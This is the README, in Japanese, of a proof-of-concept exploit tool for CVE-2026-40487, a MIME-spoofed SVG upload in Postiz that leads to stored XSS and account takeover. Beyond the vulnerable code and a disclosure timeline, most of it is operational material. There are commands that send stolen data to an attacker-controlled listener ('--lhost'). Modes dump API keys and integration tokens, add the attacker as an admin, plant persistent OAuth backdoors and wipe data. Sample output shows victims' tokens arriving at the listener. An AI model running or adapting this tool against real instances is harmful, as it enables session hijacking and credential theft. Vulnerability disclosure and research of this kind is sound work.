
CVE-2026-40487の概念実証エクスプロイト。MIMEスプーフィングによる任意のファイルアップロードを実証し、Postizにおける保存型XSSとアカウント乗っ取りにつながることを示します。データ窃取、権限昇格、永続化のための複数の攻撃モードを含みます。
発見・報告者: Astaruf
完全な解説記事: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSAエントリ: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postizは、28以上のプラットフォーム連携(Instagram、X、LinkedIn、Facebook、TikTokなど)を備えたオープンソースのソーシャルメディア管理ツールであり、インターネット上に公開された600以上のインスタンスで使用されています。
低権限の攻撃者は、偽装したContent-Type: image/pngヘッダーを持つ悪意のあるSVG(またはHTML)ファイルをアップロードできます。サーバーは実際のコンテンツを検査せずにファイルを受け入れ、元の拡張子を保持し、nginxはその拡張子から導出されたContent-Type(image/svg+xml)で配信します。被害者がURLを開くと、埋め込まれたJavaScriptがアプリケーションのオリジンで実行され、攻撃者はアカウント乗っ取りに相当する完全なセッション乗っ取り能力を得ることができます。
攻撃チェーン:
攻撃者がContent-Type: image/pngの.svgをアップロード
-> サーバーはContent-Typeヘッダーのみを検証(CWE-345)
-> ファイルは元の.svg拡張子でディスクに保存される(CWE-434)
-> nginxがimage/svg+xmlとして配信
-> ブラウザが埋め込まれたJavaScriptを実行(CWE-79)
-> 同一オリジン: 被害者のセッションへの完全なアクセス
XSSペイロードはアプリケーションと同一オリジンで実行されます。認証CookieはHttpOnlyですが、fetch()とcredentials: "include"を組み合わせることで自動的に添付されます。攻撃者は以下が可能です:
pos_*トークン)3つのコンポーネントが独立して失敗し、攻撃チェーンを構成します:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetypeはマルチパートリクエストのContent-Typeヘッダーから取得され、攻撃者が制御できます。マジックバイト検査はなく、file-typeのようなライブラリも使用されていません。
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname)はクライアントが指定したファイル名から拡張子を抽出します。宣言されたMIMEタイプと拡張子の整合性チェックはありません。サーバーはレスポンスで完全な公開URLも返すため、攻撃者は被害者に送信するリンクを取得できます。
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginxは.svgをimage/svg+xmlに、.htmlをtext/htmlにマッピングします。Content-Security-Policy、X-Content-Type-Options: nosniff、Content-Disposition: attachmentはありません。
Python 3.8+
pip install requests
# 1. ターゲットが脆弱かどうかを確認
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. 被害者からすべてを窃取
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. 永続的なバックドアを作成
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. 認証情報なしでトークンを再利用
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
攻撃者 サーバーPostiz 被害者
| | |
|-- 1. ログイン/登録 -------->| |
|-- 2. 悪意のあるSVGをアップロード --->| |
|<---- ファイルのURL -----------| |
|-- 3. URLを被害者に送信 ---------------------------> |
| |<--- 4. URLを開く ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JSが実行され、データを窃取 -----------|
| モード | 説明 |
|---|---|
dump-self | 被害者のプロフィール、組織情報、ティア、APIキー |
dump-personal | 表示名、自己紹介、プロフィール画像 |
dump-integrations | 接続済みのソーシャルメディア連携とトークン |
dump-posts | 予約投稿と下書き投稿(過去365日分) |
dump-team | チームメンバー、役割、メールアドレス |
dump-media | メディアライブラリの一覧 |
dump-notifications | 通知履歴 |
dump-signatures | 投稿署名 |
dump-webhooks | 設定済みのWebhookとそのURL |
dump-oauth-app | OAuthアプリの認証情報(clientId、secret) |
dump-copilot | AIコパイロットの会話スレッド |
dump-billing | 請求およびサブスクリプション情報 |
dump-settings | ショートリンクと通知設定 |
dump-third-party | サードパーティ連携の設定 |
dump-autopost | 自動投稿ルール |
dump-sets | コンテンツセット |
dump-tags | 投稿タグ |
dump-customers | 顧客リスト |
full-dump | 上記すべてを単一のペイロードで実行 |
| モード | 説明 |
|---|---|
add-admin | 被害者の組織に攻撃者をADMINとして招待(--attacker-email) |
rotate-key | 組織のAPIキーをローテーションして窃取 |
rotate-oauth | OAuthアプリのシークレットをローテーションして窃取 |
| モード | 説明 |
|---|---|
kill-notifications | すべてのメール通知を無効化 |
edit-profile | 被害者の名前と自己紹介を変更(--edit-name、--edit-bio) |
wipe-signatures | すべての投稿署名を削除 |
wipe-webhooks | すべてのWebhookを削除 |
wipe-tags | すべてのタグを削除 |
wipe-sets | すべてのコンテンツセットを削除 |
wipe-autopost | すべての自動投稿ルールを削除 |
logout-victim | 被害者を強制ログアウト |
delete-oauth-app | 被害者のOAuthアプリケーションを削除 |
| モード | 説明 |
|---|---|
create-oauth-app | OAuthアプリを作成し、自動承認し、永続的なpos_*トークンを窃取(--oauth-redirect) |
steal-cookie | document.cookieを介して認証JWTを窃取(NOT_SECURED=trueの場合) |
| モード | 説明 |
|---|---|
api-call | 任意の認証済みAPI呼び出し(--api-method、--api-path、--api-body) |
custom | 任意のJavaScriptを実行(--custom-js) |
| オプション | 説明 |
|---|---|
--check | ターゲットが脆弱かどうかを調査(攻撃は実行しない) |
--register | ログイン前に新しいアカウントを登録 |
-t / --token | 認証情報の代わりにAPIキーまたはpos_*トークンを使用 |
--format html | SVGの代わりにHTMLペイロードを使用 |
--proxy | HTTP/SOCKSプロキシ経由でトラフィックをルーティング(例: Burp Suite) |
-o / --output | 取得データをJSONファイルに保存 |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — MIME偽装ファイルアップロードによるStored XSS
[*] [email protected] としてログイン中 ...
[+] 認証成功。
[*] ペイロード生成中: すべてを単一のペイロードで窃取
[*] Content-Type: image/png の悪意のある.svgをアップロード中 ...
[+] アップロード成功。
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888 で窃取リスナーを起動中 ...
=================================================================
このURLを被害者に送信してください:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] 被害者がリンクを開くのを待機中 ...
[+] 2026-04-15 03:45:41 にデータを受信
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] 2026-04-15 03:45:41 にデータを受信
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] 2026-04-15 03:45:42 にデータを受信
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
バージョン2.21.6で3つの変更が導入されました:
file-typeライブラリを使用して実際のファイルコンテンツを検査image/*の包括的な許可は廃止)| 日付 | イベント |
|---|---|
| 2026-04-10 | ソースコードレビュー中に脆弱性を発見 |
| 2026-04-10 | GitHub Security Advisory(GHSA)を通じて報告 |
| 2026-04-10 | 開発者が確認し、詳細説明を要求 |
| 2026-04-10 | 詳細な攻撃シナリオとShodanデータを提供 |
| 2026-04-11 | 証拠とともにCVSS異議申し立てを提出 |
| 2026-04-13 | v2.21.6で修正をリリース |
| 2026-04-14 | CVE-2026-40487が割り当てられる |
| 2026-04-15 | 公開開示 |
このツールは認可されたセキュリティテストおよび教育目的のみで提供されています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。